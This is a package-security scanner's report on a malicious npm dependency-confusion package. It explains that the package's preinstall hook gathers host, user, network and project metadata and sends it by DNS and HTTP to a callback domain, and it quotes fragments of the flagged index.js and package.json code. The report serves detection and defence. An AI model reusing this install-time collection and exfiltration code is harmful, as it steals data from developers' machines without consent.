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stillm4ddpocs-demo-sprocket@999.9.12: Malicious npm security | LPM Firewall

registry / stillm4ddpocs-demo-sprocket / 999.9.12

stillm4ddpocs-demo-sprocket@999.9.12

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

AI Security Review

scanned 3h ago · by lpm-firewall-ai

npm installation triggers automatic collection of host, user, path, project metadata, and network identifiers. The package exfiltrates that data by DNS plus HTTP/HTTPS callbacks.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm preinstall runs node index.js

Impact

Unconsented disclosure of identifying workstation, network, and consuming-project metadata.

Mechanism

install-time host and project reconnaissance with DNS/HTTP exfiltration

Attack narrative

On installation, the preinstall hook executes index.js. It reads the consuming project's package.json, gathers local and public network details plus hostname, username, home directory, and working directory, then serializes the data. The package sends that payload as hex-labelled DNS queries to its callback domain and as HTTP and HTTPS POST requests. Its stated research purpose does not establish consent for this automatic collection and external transmission.

Rationale

Direct source inspection confirms a reachable preinstall reconnaissance and data-exfiltration chain. This is concrete unconsented install-time behavior, independent of the package's stated research intent.

Evidence

package.jsonindex.js<INIT_CWD>/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.com

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall automatically executes index.js during npm installation.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = stillm4ddpocs-demo-gadget@999.9.20 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.20 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ccc01a84753afbf signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stillm4ddpocs-demo-gadget@999.9.20 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.20 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

112function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, client_subnet: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, home

High

Ai Review Evidence

Source reads consuming project's manifest and host/user/home/network identifiers.

index.jsView on unpkg · L112